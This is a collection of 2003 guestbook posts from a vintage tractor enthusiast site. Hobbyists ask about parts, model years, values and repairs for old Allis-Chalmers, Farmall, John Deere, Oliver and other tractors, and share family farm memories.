SK Tractor For Sale wrote on Monday, July 14, 2003 (PDT):Silver King Tractor For Sale. Real basket case. tractor hasn't ran since late 70's, water got into exhaust, froze motor, dad took motor off, thought it would be a good project, hasn't touched it since. tractor is in pieces, some inside some out, has a front blade/plow with frame and duell rear wheels, had side PTO wheel, From looking at pictures on the web, it has the smooth rear fenders of a R38 but kinda looks like a 42, its a wide front end, has got headlights like yellow one in of the photos on silverkingtractors.com , seat and steering wheel are rusted off, this thing is just growing roots at dad's hunting cabin in Western New York. Most likely, looking for someone to take complete/total tractor. i don't really want to get into parting it out. E-mail if interested, ronp at broadviewnet.net
Hannes le Grange wrote on Monday, July 14, 2003 (PDT):Could anyone please send me some photos of the WF-models. I am a farmer in South Africa and desperitly try to rebuild the tractor.
larry pickens wrote on Monday, July 14, 2003 (PDT):I have a Case LI I recently acquired.I can find info on the L but not on the LI. I would like to see a picture and find out who I might contact to get on with this project. This is not our first project, this is our first Case. Thanks.
larry pickens wrote on Monday, July 14, 2003 (PDT):I have a Case LI I recently acquired.I can find info on the
RCW wrote on Sunday, July 13, 2003 (PDT):This was the only really tractor John Deere ever built and then it was built first in Waterloo, Iowa, by another firm! However, The Green Shall Prevail!
rcw wrote on Sunday, July 13, 2003 (PDT):The Super "M" wrote on Tuesday, October 16, 2001 (PDT); God Bless The Farmall Tractor. And have mercy on those green blooded morons. A David Bradly is more dependable than a Deere... I'll be back..."Buddy, ya-all sick in the head....get you education in a calf pen eating manure>>>>
Internaiton-Gray & Red wrote on Sunday, July 13, 2003 (PDT):Neeno the Colorado Man wrote on Monday, May 20, 2002 (PDT); Let me tell you straight out that the JD G was the guttiest tractor that JD ever made. It was 'Horse' and anyone that ever drove one can attest to the fact that it wouldn't stop for anything. I especially like plowing with the 50 G that we had. That statement is pure calf manure!!!
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):My dad and I are restoring my Papaws D12 Allis Chalmer tractor and we are coming along with it pretty good having some trouble finding some parts for it so if anyone out there has any parts for sale give us a call at 606 845-0022 or no answer leave a message and i will get back with u.
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):My dad and I are restoring my Papaws D12 Allis Chalmer tractor and we are coming along with it pretty good having some trouble finding some parts for it so if anyone out there have any parts for one that u want to see gives us a call at 606 845-0022 or no answer leave a message and i will get back with u or any other Allis Chalmber tractors for sale call to.
Mike wrote on Thursday, July 10, 2003 (PDT):My grandfather originally farmed with horses, when he was introduced to a John Deere model B he switched over to John Deere tractors. My dad was rasied on these tractors and now me and him are restoring them. So i was wondering if anyone new what the original decals where and where they went. I noticed the "H" has "Model H" writin on the seat and that lead me to questioning.
Robby Crigger wrote on Thursday, July 10, 2003 (PDT):I own a Case SC myself, and I would like to know more about this machine. Like, it's value, and history.
Roy Wolf wrote on Wednesday, July 09, 2003 (PDT):Does anyone out there have a picture(s) of the Rock Island F and FA? They had a bore and strokc of 4 1/2 by 6 inches whereas the G-2 had a 4 1/4 by 5 1/4; good replacements for the old Steam Power Tractors....My father (Pa Wolf)owned one of the last G-2's made before Case bought the RI. Great tractors for their day; J.I.Case was a worthy successor for them.....the old L and LA Cases remined me of the R.I.'s....
Roger L. Wallis wrote on Wednesday, July 09, 2003 (PDT):If anyone out there knows about a wallis tractor for sale please let me know. I would like to restore one very much. Roger L. Wallis email wallis at saber.net
Lily A Kempton wrote on Wednesday, July 09, 2003 (PDT):Hi I have a model t tractor my father built many years ago that would srill run with a little work. It was the first thing I ever drove. It also has an extra transmission on it so it has 6 speeds forward and 2 in reverse. I won't part with it for any thing. Lily Kempton
michael wrote on Monday, July 07, 2003 (PDT):i am currently looking at a 560D that belongs to my neighbor. he says he will take 1000 dollars cash. the side skirts below the hood are missing and the skin that covers the fuel tank. Also it is missing the fenders, if it ever had fenders. it needs an injector pump and he says it uses a lot of oil .... has very good like new rubber on it. but everything else in in good working order. he recently pulled the injector pump to put on another tractor he has. Can some tell me about where to find sheet metal for it and about the fenders. Someone tell me it this is or not a good buy. Really want to hear it run. I have 3 A model JD's. my uncle had an H farmall and my brother had a M farmall. Other than that i know very little about a 506 IH.
Reed Gardner wrote on Sunday, July 06, 2003 (PDT):Wanted - Oliver 70 RowCrop or Oliver 80. I am looking for an oliver in the Eastern Iowa area. Prefer one that has been restored or in great condition. As a boy we had several on the farm and now I would like to replace. Thanks
David Swanson wrote on Sunday, July 06, 2003 (PDT):As a teenager in the 60' I found a rusted up 1935 John Deere D out in somebodies woods attached to a old sawmill. I managed to talk the owner out of it for $35. I and another guy managed to get it to run and I had a lot of fun popping around the farm on it. Sold it in 69 for $50 so I could use the money to buy books for college. Sigh, wish I had kept it. A warning to youthful owners is to not try speed shifting the thing, you can really jam the gear works doing that.
George Gay wrote on Sunday, July 06, 2003 (PDT):I have a massey harris tractor (pony) how can I tell what year it is, how can I tell if it has Hydraulics, and how can i find implements for it. Thanks!
Billy Croisant wrote on Sunday, July 06, 2003 (PDT):Can comeone tell me what kind of oil you use in the hydraulic, transmission, and rear end for an AC WD45 tractor? Thank you.
rj wrote on Sunday, July 06, 2003 (PDT):dose any one have this tractor for sale or trade
R.White wrote on Sunday, July 06, 2003 (PDT):I have an Avery"A" and would like to know if I can put a 3pt hitch from another make of tractor on it or if maybe Avery made their own 3pt and if so how hard would it be to find one
mean green wrote on Saturday, July 05, 2003 (PDT):The sweetest sound I ever heard was just last week,My neighbors 806 finally stopped rusting!! AHHHHH the peace and quiet around here is just great!! I'm sorry that here in the south our prime source of entertainment is kicking back and watching the red junk rust away,Maybe one day we will decide to cash in on the red tractors misfortune and sell them for scrap metal. I hear that they can make about a million disposable razors out of a 1066
Roy Wolf wrote on Thursday, July 03, 2003 (PDT):This was a wonderfully powerful tractor for its day. I drove one for my youngest brother disking ahead of planter. He had two XT-190's that I had driven; I was most proud when he had me working with this tractor. Today there is a new generation of tractors and farmers! We just keep getting bigger and biger....makes me think of the dinosaurs or pehaps the huge steam power engines of l00 years ago..........
Nyal in Australia wrote on Wednesday, July 02, 2003 (PDT):We collect old tractors. We have a 50 and a 50 deluxe. The 50 has done in excess of 17000 hours.
Shirley and Roy Martin wrote on Tuesday, July 01, 2003 (PDT):Have an old cub for 2 years, love it, handy on small property. Where do I find serial and model #? Having carbureator problems, now water fan assembly needs replacing. Need to find detailed info on this tractor!
Jack HANES wrote on Tuesday, July 01, 2003 (PDT):Looking for Hood Name Plates for a T5 International Crawler Also would like information on a Farmall A tractor has no hydraulics. whaT are a piston and sleeve assembly worth for this tractor? Any info appreciated
Jason Armor wrote on Monday, June 30, 2003 (PDT):I recently had the above tractor motor rebuilt. The shop had to order the parts by the size of the pistons because they could not come up with anything on a TO-35118.
Jason Armor wrote on Monday, June 30, 2003 (PDT):According to the dash plate on my tractor, it says it is a TO-35118. Everyone I talk to says they have never heard of such. Can you tell me a little more about this model?
Jacob Williams wrote on Monday, June 30, 2003 (PDT):you should use that for tractor pulls
Vernon Adkins wrote on Sunday, June 29, 2003 (PDT):My first diesel tractor was a 1973 1066. Best tractor IH ever made. I have just recently built an opproximate 1/4 scale version. It's really turning heads at the area steam shows. If things go as planned it will be at the 2004 red power roundup in Mt Pleasant, IA I currenly own 11 IH tractors, all of which are used on my farm here in Missouri
Vernon Adkins wrote on Sunday, June 29, 2003 (PDT):My first diesel tractor was a 1973 1066. Best tractor IH ever made. I have just recently built an opproximate 1/4 scale version. It's really turning heads at the area steam shows. If things go as planned it will be at the 2004 red power roundup in Mt Pleasant, IA I currenly own 11 IH tractors, all of which are used on my farm here in Missouri
Bruce Baker wrote on Sunday, June 29, 2003 (PDT):I have an old LA case tractor. The serial number is 5389308 LA. Can anyone tell what year this tractor was built. TIA
Navindran Naiker wrote on Sunday, June 29, 2003 (PDT):i want to buy a Messey Forgusan or a Fordtractor.
Jacob Williams wrote on Saturday, June 28, 2003 (PDT):We have a toy just like that
Blaine Schettler wrote on Saturday, June 28, 2003 (PDT):My mom has a 1944 WF and wants to sell it, It runs but like most tractors that age the paint has faded and tires have wear. Looking for a web site that gives prices
Mike Mulligan wrote on Saturday, June 28, 2003 (PDT):CORRECTION FOR "DISTINGUISHING FEATURES BETWEEN WD AND WD45" Earlier I wrote that the WD had a hole in the side of the grill for a shutter to control "coolant flow". This shutter controls the "air flow" not the coolant. Also I wrote that the WD45 had traction booster with a traction booster gauge and the WD did not. Actually the WD did have traction booster, but I don't think it had the gauge. Sorry about that.
Jim wrote on Friday, June 27, 2003 (PDT):I have an 1944 I4. A few IH guru's tell me it is rare. I also see a couple of others on this forum looking for info. If anyone has more insight on this tractor please contact me. My tractor runs good and has had no major work done to it. I have owned it for nearly 26 years and I would like to find some pics of an original one or restored so I can pe-paint mine back to original. Currently this tractor is a deep, non IH red and has W-4 decals. It was this way when I got it as a birthday present when I was 10. A few guys have told me that these could have been a variety of colors depending upon who purchased the tractor new. Some were yellow, orange, grey and even the red I mentioned. Any help would be appreciated Thanks
Jack Jory wrote on Thursday, June 26, 2003 (PDT):I drove my Unkle's 1939 AO during several Summers in Siverton, Oregon in the late 1940s. He had a hop yard and walnut orchard. He had the tractor rebuilt at the dealer in Monitor, Oregon sometime in the late 1940's. It was a real work horse. We use to start in on gasoline after opening the petcocks on each cylinger. Once started, we would then switch over to stove oil or kerosine. It didn't look exactly like the tractor in the picture, the fenders looked different. I can remember having to stand on the wheel foot breaks when trying to turn sharply to the left or right. It could be hard to start on cold morinings. It was a flywheel start tractor. I can remember to this day the amount of muscle it took to get the fly wheel going fast enough to make it start. It was a real thrill for a young high school kid to drive it while plowing, disking or harrowing.
bryan bayliss wrote on Wednesday, June 25, 2003 (PDT):there are many things you remember in life, the sound of a 1066 turbo as she sits there and whistles to you and the smell of the 856 as she sits in the shed waiting to go to work and the thick rich black smoke from an 806 deisel as u punch the trotlle when you go up a big hill with your wagons full of grain. a man has thre loves in his life a love for his children a love for his wife and a love for his tractors, amen.
art b wrote on Wednesday, June 25, 2003 (PDT):machine looks great.i wish mine could look half as good as yours.i am looking for clutch fingers to rebuild my own pressure plate. no one will sell me just the parts--just the whole unit.do you know of a company that will sell parts only.thanks for your help.PS-this machine is great
Rob Wells wrote on Tuesday, June 24, 2003 (PDT):My dad is restoring his dad's 1938 model 70RC and is looking for side skirts. Anyone know where we can track some down? Much appreciated.
Lisa wrote on Tuesday, June 24, 2003 (PDT):I have ac G for sale in North Carolina in working condition.252-903-6626
Travis guzel wrote on Tuesday, June 24, 2003 (PDT):You have a nice tractor. I have one but it isn't as sharp as yours.
Amanda wrote on Tuesday, June 24, 2003 (PDT):Is that tractor for sale?? My brother is looking for one for our farm!! Anyone else have one or any interesting ones please feel free to email me at farmgirl15317 at aol.com
Jeff Duncan wrote on Monday, June 23, 2003 (PDT):I have an opportunity to purchase a Massie-Harris Pony with 3 attachments, it is in running condition with no missing parts as far as I can tell, but needs restoring. What would be a reasonable price to pay for this tractor. Thanks, Jeff
Richard Clark wrote on Monday, June 23, 2003 (PDT):Iam looking to buy a F-12, with the rear steel wheels and a single steel front wheel. I am also looking for one with a cultivator. My family had one, but my Aunt sold it after my uncle died about 10 years ago. If anyone knows what happened to this tractor, please email me, it was bought in southern Indiana.
Terry Cottingham wrote on Monday, June 23, 2003 (PDT):I have been looking for a T-20 hood and side curtains for years to finish the restoration on my grandfathers 1935 T-20.If there is anyone who can help let me know.I live in central Il.I would be willing to purchase parts tractor that is relatively close. or seperate.Tired of looking,cash waiting.
Eric Burger wrote on Monday, June 23, 2003 (PDT):Hello I was wondering if you could help me out. I have a Ford 881 Select O Speed Tractor with various attachments. I'm looking to sell this item, but know nothing about it. If you could please tell me where I could find information about it so that I could describe it accurately, I would appreciate it. Also I'm planning to sell it on EBay unless someone else has a better idea.
Dale MacDonald wrote on Sunday, June 22, 2003 (PDT):On our farm we had a Allis Chalmer D14.It was a regular little workhorse.
david mainellis wrote on Sunday, June 22, 2003 (PDT):My parents bought a farm about 15 years ago and it came with a dexta tractor. Ido not know what year it is but think 64.I am glad to find this site as I am the one who fixes this tractor when it has a problem. We find this injected diesel to be a great machine that keeps going, and going, and going....... How do I find out what year it is , and does anyone have an idea why the lift boobs up and down?
Rick Clark wrote on Sunday, June 22, 2003 (PDT):I have had my I have had my AC 160 for about 10 years. Parts are hard to find and I need the 90 degree tachometer adapter that fits on the back of the block which the tach cable attaches to. If anyone has on available please contact me. With regards to transmission, Greens Tractor Salvage here in North Carolina has one. I am currently at a remote site and will provide address and phone number upon my return to my home system.
Frank LaRoche wrote on Saturday, June 21, 2003 (PDT):www.waltstractors.com/acatalog/this is a good place to find just about any part for any tractor.They will do you right
Leland Finley wrote on Saturday, June 21, 2003 (PDT):I purchased an Oliver 70RC with Factory dual exhaust. It was restored by an implement dealer and has been "pulled" enough to seriously wear the rear tires. What does a new set of 13;38 tires cost these days?
Dale MacDonald wrote on Saturday, June 21, 2003 (PDT):I would like to find a Tractor like this 880. It is a really nice tractor but it is a bad picture
BLM wrote on Friday, June 20, 2003 (PDT):I have a 1937 farmall F-20 orchard tractor. Does anyone else have one and know were to get parts.
Keith wrote on Thursday, June 19, 2003 (PDT):Does any one know where to find model tractors that I can put together. Thanks, Keith
Keith wrote on Thursday, June 19, 2003 (PDT):Does any one know where to find model tractors that I can put together. Thanks, Keith
LWL wrote on Thursday, June 19, 2003 (PDT):I grew up with one of these....used it for the hay tractor an it is a work horse. We still have it up at the farm.....with all the implements..... man could it buck bales..... Our wheels are orange and not as good looking as yours but brings back memories...think I'll fix her up when I get up there. LWL WaylonSUN Entertainment Country Resurrection Nashville, TN
Adam Wampler in Virginia wrote on Monday, June 16, 2003 (PDT):I just bought a Sheppard SD-3 toy tractor made in 1949 yesterday. These tractors were made by the actual Sheppard Company for promotional reasons. They only made 200 of these tractors so I have a very special toy. I have many full size tractors and pieces of farm machinery as well including a 1953 John Deere R, 1966 John Deere 4020, two Allis Chalmers All Crop 90 combines, and too many other things to mention here.
Steven R Barry wrote on Sunday, June 15, 2003 (PDT):This Message is for Mark Caylor, Sorry Mark But I sold My Case Model VA Tractor Last Month. Thank You For Your Message About It. Hope You Get This Reply.. Steve
Kevin Foster wrote on Sunday, June 15, 2003 (PDT):Looking at a SC Case. I was wondering if anyone could tell me what the horsepower rating is. I am not sure what year it is or really anything else about it. I am a fan of Case and AC tractors. My family has a total of 14 tractors. Everything from M's, super M's, MTA's, VAC's. There is nothing better then the sound of a straight pipe on a super M plowing!
Mark Fowler wrote on Sunday, June 15, 2003 (PDT):Own a 1956 300U. When hot, starts missing and backfiring. So a complete tune-up was done, including oil change. Again, once hot, does the same thing. I must then wait until cool in order to start again. I did notice a slight anti-freeze leak. Could this be the problem, or a bad coil? Please Help. Thanks.
Louis A.Torres wrote on Saturday, June 14, 2003 (PDT):Hello there I,m writing you to see if you could send me some photos or more information on how to restore my 1948 CUB. I bought my cub for $75.00 from a small Texas town called Papalote,this tractor looks like it is ready for the scrap yard in everybody eyes but mine.I currently don't have an e-mail address but you can send me this information to my P.O.BOX # which is P.O.Box 830-948,San Antonio,Tx.78283-0948.Thanks for everything.
Mike wrote on Friday, June 13, 2003 (PDT):I have a D-17 high clearance for sale. Sheet metal is straight.Gas engine.Runs but needs restoration.Asking $2000.Located in central Missouri
Ernest F Janus wrote on Friday, June 13, 2003 (PDT):Hello Folks, We presently own two John Deere R diesel tractors and would be interested in selling them in the future to anyone, please contact us by e-mail.
Paul Hawkins wrote on Friday, June 13, 2003 (PDT):i OWN A 1944 John Deere LA, serial no. LA-6846. This tractor has culivators and single bottom plow. All are in excellent looking and running condition. I am interested in selling as I am moving out of state but do not know the value. Looking for info
Colin MacDonald wrote on Wednesday, June 11, 2003 (PDT):My son & I have just finished restoring a 1945 W4 which hadn't been started since 1963. With the magneto overhaualled a new back tyre 7 a coat of IH paint & she's like new. My father-in-law bought it new in 1946 & I drove it in the 50s. W4s & W6s were very popular in New Zealand particularly on grain growing farms. The collecting of 'old Iron' is very popular here.
Van Kerckhove Gratien Belgium wrote on Wednesday, June 11, 2003 (PDT):In Waterloo town (Belgium), they look for a "Waterloo Boy". Can you help us to find one? They want to put him in the middel of a crossroad. So the tractor must not be in a good state. Please, write me if you know one. Thank you very much.
Shah wrote on Monday, June 09, 2003 (PDT):I realy love farmal Cub or supper A but I wonder if they use a 3 point hitch. I will be mowing and tilling with it . I wish there was a way to covert these beatifull tractors to shuttle shift for mowing. You may say I am crazy but I am trying to be practical. Hwo wants to push clutch and shift gears to mow grass. How many tractprs can yoy have before the wife gets on your...?
John Gibson wrote on Monday, June 09, 2003 (PDT):Hi folks. As you may of guest I am from Staffordshire England. I am currently restoring an Allis Chalmer ED40 which looks very similar to your D17. It is fitted with a 2200cc diesel engine manufactured by Standard of England and was built in approx 1960. The restoration is now nearing completion but I am in desperate need of a pair of rear wings (fenders)the wings do not fair very well in this country so if you know where I might be able to find some in the states I would very much appreciate it.
Ray wrote on Monday, June 09, 2003 (PDT):My grandfather purchsed a Oliver Industrial '60' in 1948, serial #460605. He paid $1471.80 according to the bill of sale. The tractor is green but as the paint wears off the orange color is underneath. The starter was lost and will only start with crank. This must be sold as there is no one left on the farm. What should I be asking? Tractor is in Saskatchewan. I have original bill of sale, and the original operators manual and parts book.
j. g. major wrote on Monday, June 09, 2003 (PDT):I just bought a Case 1948 D orchard tractor. The sheet metal that goes over the wheels is missing. Who has the best source of parts for one of these tractors? I would also like any information you could pass along about this model tractor.
Steve Risk wrote on Sunday, June 08, 2003 (PDT):I have come across a WD narrow front end with a front end loader and trip manure bucket. it is an older restoration. Paint is good and everything seems to work. If anyone would be interested in it I am in Lancaster, Pa. let me know.
Jonathan Reed wrote on Sunday, June 08, 2003 (PDT):My dad and i have recently started collecting old case tractors we have on VA and recently picked up a couple of d cases, great tractors
Fred Waldbusser wrote on Sunday, June 08, 2003 (PDT):I acquired a toy tractor; Universal Co-op 4th in A series. It is a limited edition with serial #1746. I did not know there was a Co-op tractor until I saw this at an antique store. It has a single wheel in the front with a square radiator and it has the big fenders, drawbar hitch, movable flywheel with rubber tires. The motor is very detailed. I thought it was neat and bought it. Can anyone give me more information about the tractor of which this toy is a model?
Larry Wilkinson wrote on Sunday, June 08, 2003 (PDT):For Sale WD-45 1955
Mike Mulligan wrote on Sunday, June 08, 2003 (PDT):DISTINGUISHING FEATURES BETWEEN WD AND WD45. These tractors are very much alike, almost identical, but there are a few ways to tell the difference. If your tractor is original this shouldnt be a problem. The easiest way to tell for sure is to look for the serial number which is located on the back of the tractor above the step on the back of the differential housing. Before the number it will say either WD or WD45. Thats easy enough. There are other differnces. Starting from the front of the tractor and working your way back; Many of the WDs had a small hole in the right side of grill that surrounds the radiator. This hole was for a shutter that controled the flow of coolant to make the engine run hotter or cooler. 45s usually didn't have this. The hole is located almost at the top on the right side of the radiator(not on the wire mesh grill in front but just around the corner on the side. A much larger differnce is the engine. WDs had a 201 cubic in engine that was usually equiped with magneto ignition. The WD45 had a 225 cubic inch engine which usually had a distributer ignition. The hydrolics were similar but the WD45 had traction booster and there was a gauge below the gas tank that said traction booster on it an when you lifted something you can see the needle on the gauge move. Another big differnce is the transmission however there is an exception. WDs prior to 1953 had a sliding gear transmission with a straight shift lever. In 1953, the last year for the WD and also the first year for the WD45 the transmission was changed to a constant mesh transmission which had a curved shift lever. The WD45 had snap coupler as standard equipment and the WDs did not. However snap coupler kits were made available for the WD so it is not uncommon to see a WD with snapcouple. I hope this information is helpful. It is correct to the best of my knowledge but remember there can be exceptions, especially if the tractor is not original. These tractors are so much alike and many parts can be interchanged. You may find out that half of you tractor is a WD and the other half is WD45. I have a WD45 with a D17 engine and a WD transmission and rear end. GOOD LUCK!
Mike Mulligan wrote on Sunday, June 08, 2003 (PDT):We have a WD-45 on our farm that we use alot. This tractor is unique because it is 3 tractors in one. After the original engine bit the dust, an engine from a D17 was put in because it was cheaper. So now it has more power and is faster on the road and also on the pto because the governed engine rpm is now 1650 compared to the original rpm of around 1400. Also after many years the transmission jumped out of gear(a common problem with allis chalmers). So we put the transmission of a WD on our tractor. The WD used a sliding gear transmission which after years of grinding and abuse will not jump out of gear(I know because we also have a WD and that has never jumped out of gear). However in 1953 the WD transmission changed to a constant mesh transmission that was also used on the WD45 which came out later in the same year. These transmissions had the curved shift lever instead of the straight lever of the previous transmissions, and these will jump out of gear. Allis tractors made after the WD45 up until the 7000 series tractors all(almost all)had this problem. The reason for this is usualy due to grinding the gears. When the transmission is new the teeth that engage when you select a gear have square edges on them. However if you grind the gears these edges become rounded off causing a curved edge which allowes the "collar"(I am not sure of the correct name of this part but it connects the gear to the output shaft) to slide off of the gear, putting your transmission into neutral. If you have an Allis that does not jump out of gear, be gentle and take you time so you do not grind the gears and it probably never will jump out. We also have an Allis Chalmers 200(probably my favorite tractor) that my dad bought used in the mid to late 80s. This tractor did not jump out of gear when he first got it. Unfortunately my grandfather and uncle always ground the gears when they drove it and it wasn't long before it jumped out of all the gears and the past few years we hardly used it. This past year my dad had the transmission rebuilt(which was very expensive) and now it is like a new tractor. We want to keep it this way so my dad and I will be the only ones driving it. On our farm we have all Allis Chalmer; WD, WD45, CA, D17, D19, 200, 7020, and a 6080. Anyone who wants to know the year of their WD or WD45 look for the serial number on the back of the tractor above the step on the differential housing. I have a book that tells the production information like what serial numbers were made in what year. If you get a book like this or if you go to an Allis Chalmers dealer you should be able to find out the year of your tractor if you have the serial number.
Ron wrote on Saturday, June 07, 2003 (PDT):I have a W6 1941 model that is all in parts i need help with pics and info on how to put it back together. thank you
Bert Pinson wrote on Saturday, June 07, 2003 (PDT):After months of looking,I've finally decided that the MT is the perfect tractor for cleaning up my acreage. Anyone have an MT that needs a new home? Thanks.
Alan A. Keimig wrote on Saturday, June 07, 2003 (PDT):I note that my E-mail is not automatically listed in the above information. If you wish photos of the Colorado Massey-Harris GP tractors I am at alan-a-k at juno.com Thanks AAK
Alan A. Keimig wrote on Saturday, June 07, 2003 (PDT):There are at least two of the Massey-Harris GP tractors in museums in Colorado. One is at the museum in Montrose [The former Rio Grande R.R. station]. The other is at the Strasburg museum just East of Denver. This one was first owned by Frank Winters and he donated it to the museum. If you wish photos, or want "the rest of the story", please contact me.
Kyle Gray wrote on Friday, June 06, 2003 (PDT):I always thought the L and LA tractors looked interesting i bought one from my uncle a few years ago and i am almost done restoring it. I love it and it is a great conversation piece.
GP wrote on Thursday, June 05, 2003 (PDT):ATTN; Jim Lockhart Do all serial numbers match, block (left side), frame rail (left side, top of rail near the clutch housing) and the serial number plate on the tool box? If the numbers don't all match it's possible multiple tractors were put together to make one. The serial number you indicate is a 1935. Perhaps the wheels rusted out and a set from a late model 20 were put on this tractor. Also, a 1935 F-20 would have been painted Farmall Gray originally, they weren't painted red until those produced after Nov 1, 1936. What color is it painted now? If it's red, look for signs of gray underneath. Most F-20's that were repainted in the 40's were repainted red (to match the letter series tractors and later F series).
Scott Twist wrote on Thursday, June 05, 2003 (PDT):We have an old Oliver Super 55 That we have been using for the past 5 years. We have been using this tractor to move hay bales and run a brush hog to keep the place up around here. The only work we have done to it is the 12 volt conversion and adjusted the clutch. We have just bought a bigger tractor and we are looking to sell the oliver if anyone is interested.
C. L. Standley wrote on Wednesday, June 04, 2003 (PDT):My father bought his first tractor in 1942, a unstyled 1935 John Deere D. It had steel wheels and two forward gears. The next year, he bought a 1943 Styled John Deere D, again on steel wheels. This tractor had three forward gears and was faster than the older one. This is the first tractor I ever drove, at age five. My father had to keep from over tightening the clutch so that I could drive it from one place to another. I was not allowed to pull anything until I was about nine years old.
C. L. Standley wrote on Wednesday, June 04, 2003 (PDT):My father bought his first tractor in 1942, a unstyled 1935 John Deere D. It had steel wheels and two forward gears. The next year, he bought a 1943 Styled John Deere D, again on steel wheels. This tractor had three forward gears and was faster than the older one. This is the first tractor I ever drove, at age five. My father had to keep from over tightening the clutch so that I could drive it from one place to another. I was not allowed to pull anything until I was about nine years old.
C. L. Standley wrote on Wednesday, June 04, 2003 (PDT):My father bought his first tractor in 1942, a unstyled 1935 John Deere D. It had steel wheels and two forward gears. The next year, he bought a 1943 Styled John Deere D, again on steel wheels. This tractor had three forward gears and was faster than the older one. This is the first tractor I ever drove, at age five. My father had to keep from over tightening the clutch so that I could drive it from one place to another. I was not allowed to pull anything until I was about nine years old.
Ron Veerman wrote on Tuesday, June 03, 2003 (PDT):My father picked up his G at an auction in the early 1960s for our market garden.I am now the proud owner and am happy to say i still use it quite regular.I am not sure of the year any info that i could receive on it would be greatly appreciated. Tractor#G13618 Also could you tell me what the oil filter # would be.Thxs in advance
Pat McCaffrey wrote on Tuesday, June 03, 2003 (PDT):I have a Ford 2000 with the 12 speed "Select-o-speed". It is a 4 cylinder gas engine. Any idea as to year of manufacture?
Ralph Wilson wrote on Monday, June 02, 2003 (PDT):Looking for a PTO/Pulley unit to bolt onto back of my Pony. Also anyone out there with a R/L hand plow? Kitchener, Ontario
majid niknam wrote on Monday, June 02, 2003 (PDT):please send me information & picture backhoe loader - model mf50b. tanks at you m.niknam
reggie blanchard wrote on Monday, June 02, 2003 (PDT):i am looking for a good set of tracks for a four roll john deere 420c if any has aset or knows of a set i would appreciate any help on this thanks in advance reggie
Rob Stuart wrote on Monday, June 02, 2003 (PDT):I own a 1955 Fordson Major Diesel. Does anyone know where to get a manual for the electrical system for it. I can't seem to get the charging system working right. Other than jumping it once and while this tractor is a great machine that runs excellent.
Frank Carlson wrote on Sunday, June 01, 2003 (PDT):We are looking for our 2 silver kings that were traded in years back.one was the small 4 wheeled,crank start, and I believe a hand clutch. The other was a larger 4 wheeled model,with the rounded nose. How can we find these? Frank Carlson
Frank Carlson wrote on Sunday, June 01, 2003 (PDT):We are looking for our 2 silver kings that were traded in years back.one was the small 4 wheeled,crank start, and I believe a hand clutch. The other was a larger 4 wheeled model,with the rounded nose. How can we find these? Frank Carlson
jan greenquist wrote on Saturday, May 31, 2003 (PDT):I'm trying to fix my neighbor's Ferguson TO 35. It runs fine until it gets hot (not over heating) and then misses and has no power. It has a mower on the back. I've never worked on a tractor before. We've replaced the coil,points,condenser,spark plugs , and high tension wires. Everyone here seems to think it's the coil, but i've replaced that twice with no improvement. I would appreciate any help I can get. thanks, jan P.S. compression is about 130# in all cylinders. what should the points gap be? How do I find the ignition timing mark? And what are the carb adjustments? Also what,s the spark plug gap?
Max wrote on Friday, May 30, 2003 (PDT):Bill-I'm always looking for AC parts for my 2 WDs. How about a set of snp coupler claws? Seat? Fenders? Battery box? Anything usable!
Richie wrote on Friday, May 30, 2003 (PDT):I have Ford 1952 8N Tractor and I would like to buy some accessories for it. Woods mower, auger etc. Everything seems to work accept when I push the clutch in it releases and lowers anything I have hanging behind it. I don't have a manual for it, there is a small lever that doesnt seem to work. Is that what locks the height? Would you have a manual for this tractor? If I can figure it out I would love to buy more things for it Thank You R.Ganns
ben wrote on Friday, May 30, 2003 (PDT):That tractor is not a Farmall A it is a farmall AV
Jim Smith wrote on Thursday, May 29, 2003 (PDT):I have found a Leader tractor for sale. The front wheels and tires are not right,but it has one new rear tire. The tractor needs a good cleaning and paint,but it runs. Does anyone have an idea of a fair price on a tractor like this? Please give me something to go on for a price. Thanks.
David Sprague wrote on Thursday, May 29, 2003 (PDT):As a teanager I was allways inpressed with these tracters .They could comand your respect just by sitting still.I'm now in the market for one perfer the north east,us
Cathy wrote on Thursday, May 29, 2003 (PDT):I bought a 1952 Pony last summer, and it is mostly restored, a sweet running machine. I find it was impulsive to buy it, because I don't really need it. Have decided to sell it. Located in central Maine. It has a cord wood saw, log splitter, chains, front wheel weights and plow. Hydraulics work great. Asking $2100.
Wayne Sutton wrote on Wednesday, May 28, 2003 (PDT): If your battery charges too much can you place a jumper or depolarize the system on the 6 volt generator/regulator system and how to install same?
Bob Meyer wrote on Monday, May 26, 2003 (PDT):A friend of mine has an Oklahoma title to a Rumley tractor. Dated as purchased in 1919 and has an engine number of 16011. Does this have any real value? What more should this tell me? like what model it was and why just the engine number instead of serial number?
Walter Burnham wrote on Monday, May 26, 2003 (PDT):looking for plate assembly, idler mounting, brace, idler support, bracket assembly, and the rear drive sheave hub for a C-1 rotary mower. It's a belly mower for a cub, a '48. The numbers are 474509R91,474525R1,474510R1, and474511R1. The brackets I have are offset and won't work.
Tom Marabello wrote on Sunday, May 25, 2003 (PDT):I just acquired a later model 70 that I used quite a bit in 1995 on my hay farm I had then. I have my nephew working on it for a restoration and use project. When it is done we will work it some, as it is a pleasure to operate, and an absolute powerhouse for it's size. Rest assured, you Oliver fans out there, we won't abuse it; we will probably pull a scew treader and bailer with it, and that's about all. Tom M.
Tom Marabello wrote on Sunday, May 25, 2003 (PDT):I just acquired a later model 70 that I used quite a bit in 1995 on my hay farm I had then. I have my nephew working on it for a restoration and use project. When it is done we will work it some, as it is a pleasure to operate, and an absolute powerhouse for it's size. Rest assured, you Oliver fans out there, we won't abuse it; we will probably pull a scew treader and bailer with it, and that's about all. Tom M.
william clapp wrote on Sunday, May 25, 2003 (PDT):my father had 70 row crop oliver my brother and i was raised on that sweet running tractor. my father traded several years ago ,sure glad i found on my computer
jeff pelletier wrote on Sunday, May 25, 2003 (PDT):hello all you mh folks, i found a mh 33d, a preaty straight tractor. any tell me some type of value?
gary cunningham wrote on Friday, May 23, 2003 (PDT):still have the MM M5 on LP for sale, runs great, need a farm or collector as current owner is quitting the business best offer or first $1500 and it yours all origional, in excellent condition except the seat. call me at 580 255-9715 tractor is located near marlow, OKlahoma
Ashley & Crystal Brooks wrote on Friday, May 23, 2003 (PDT):We have recently purchased a beautiful F-12. Could you help us determine what year it is? The serial # is FS81382- we think that may make it a '36 model. If so would the color of the tractor be red or battleship grey? Also this is our first experience working with a magnetos ignition. We are trying to get the "ole girl" running and need to know where to set the timing on the magnetos. If there is any way you can help- suggestions, directions to go for answers- we would greatly appreciate it!
